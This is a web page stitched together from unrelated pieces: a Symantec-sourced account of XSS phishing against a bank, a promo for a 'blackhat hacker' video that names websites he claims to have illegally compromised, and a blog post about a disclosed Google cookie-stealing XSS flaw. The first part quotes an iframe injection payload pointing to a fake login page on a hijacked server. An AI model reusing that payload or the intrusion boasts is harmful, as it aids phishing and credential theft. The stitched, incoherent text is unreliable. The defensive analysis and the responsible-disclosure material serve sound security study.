And then returned a page with the following in the body:

document.writeln([decoded_messages]);

Obviously the aim here is to have a single page display warnings that are available to every module in the application. Because the input was not properly sanitized the attackers used this vulnerability to inject a properly encoded iframe that pointed to a fake login form located on a hijacked server:

i--FRAME src=" http://www.hijacked-site.com/path/to/fake/login.php " width =800 height=800 scrolling="no" frameborder="0"/i--FRAME

The strength of these attacks is enhanced compared to classic ones because of two main reasons. First, users actually see the legitimate domain of their bank in the address bar of their browser. Second, the address bar correctly displays “https,” which is something users have learned they need to look at because most financial institutions have been pushing on this point in their security warnings to their customers.

While I won’t stop to underline that basic security knowledge is needed to everybody using the Internet, I have to admit this attack is pretty tricky and even advanced users might be fooled by something like this. On the other hand, XSS and injection flaws – most of all when located on the pages accessible by everyone before authentication – are something easily avoidable if the bank follows some sound application security practices. Penetration testing activities and even automated application scans can easily highlight most flaws of this kind and fixing them is rather easy once the issue has been found. Symantec has published a number of whitepapers on this subject, should somebody want to deepen on it.

One last thought about this attack is that in order for attackers to be able to exploit vulnerabilities, they have to be able to find them first. This usually means that unless they are especially lucky, attackers have to send a rather large amount of malicious data to the target Web site in order to find something good to use. Real time security monitoring of mission critical systems (such as an Internet banking server is) will have hopefully spotted this early enough to have a deeper look and find the vulnerability before it was exploited.

[Source:Symantec]

Blackhat hacker penguinman2100 demonstrates how to hack google to upload any hacker files or pictures to any website using PHP Photo exploits.

The blackhat hacker penguinman2100 hacks into websites using this tutorial as you can see in our video.

He has illegally hacked into sites such as http://textideas.com and http://www.sq-bleiburg.at as he has proven with the access in this video.

Penguinman2100 writes on his cracker blog:

In the recent days, an unusually high amount of Google-related security issues have been reported on the web. For instance, one developer was reportedly able to insert a backdoor into Gmail by luring people onto a specially prepared webpage, exposing private data. In not all, but many of these exploits, the problem is that your Google Account cookie can be stolen via so-called cross-site scripting (XSS) attacks; “cross-site”, because the cookie info wanders from Google.com (where it’s supposed to be read) to SomeRandomAbuserDomain.com (where it’s not supposed to be read). Basically, such an attack can be executed when someone finds a way to publish their own, free-style HTML/ JavaScript onto any *.google.com domain (like Google Calendar, Google Docs, Google Reader, Google News and so on).

Now, co-editor Tony Ruscoe stumbled upon another XSS vulnerability. By posting his specially prepared file of the Google Docs family which exploits a non-standard, incorrect Internet Explorer behavior, and then pushing me as experimental “victim” onto this file by sending me a link I clicked, Tony was able to get a Google Account cookie of mine, as I was previously logged-in to Google. (Tony did not need to point me to a domain of his, I was only accessing Google-hosted content; I did have to use Internet Explorer though, as it didn’t work with Firefox.) Google security has been informed about this vulnerabiliy and we won’t disclose how to reproduce this for now to give Google time to fix it.

Now, here’s what Tony was able to do with the cookie (as opposed to how a real attacker would act, he only did this after I gave him permission, of course):

• Read my Gmail email subject lines and the first words of my mails. This was possible by including a Gmail gadget onto iGoogle, using the extra-wide tab layout.
• Access my Google Analytics statistics, including stats of external sites that had been shared with my account.
• View many of my iGoogle gadgets, e.g. a Todo list.
• Access the full contents of my non-public Google Notebook notes/ non-public notes that had been shared with me by others.
• Check my Google Reader.
• See the names of my Docs, Spreadsheets and Presentations files.

Here’s what Tony was specifically not able to do:

• He didn’t see my full emails.
• He didn’t see any of the content of my Google Docs, Spreadsheets or Presentations.
• He didn’t see all of my iGoogle gadgets, e.g. a Google Talk gadget required another log-in.
• He wasn’t able to compromise my account login/ password, e.g. change it to then fully access my Google services.

Below are some of the screenshots Tony took while exploring my Google account:

In other words, this stealing from the cookie jar can be risky for the victim, but it must not be completely dramatic in all cases. Even so, it’s another reminder how the growingly powerful Google Account framework not only offers more power to lazy people (you don’t need to sign-in to Google services over and over), but also more power to abusers. All that’s needed to start most of these attacks is a bug or oversight in one of the many Google services, and a victim who visits a prepared webpage. If you want to be save from this, you can always log-out of your Google account when not using Gmail and other services, and try to not view pages you don’t trust (and try not to follow to pages you may think you trust, but which have been sent to you by non-trusted people).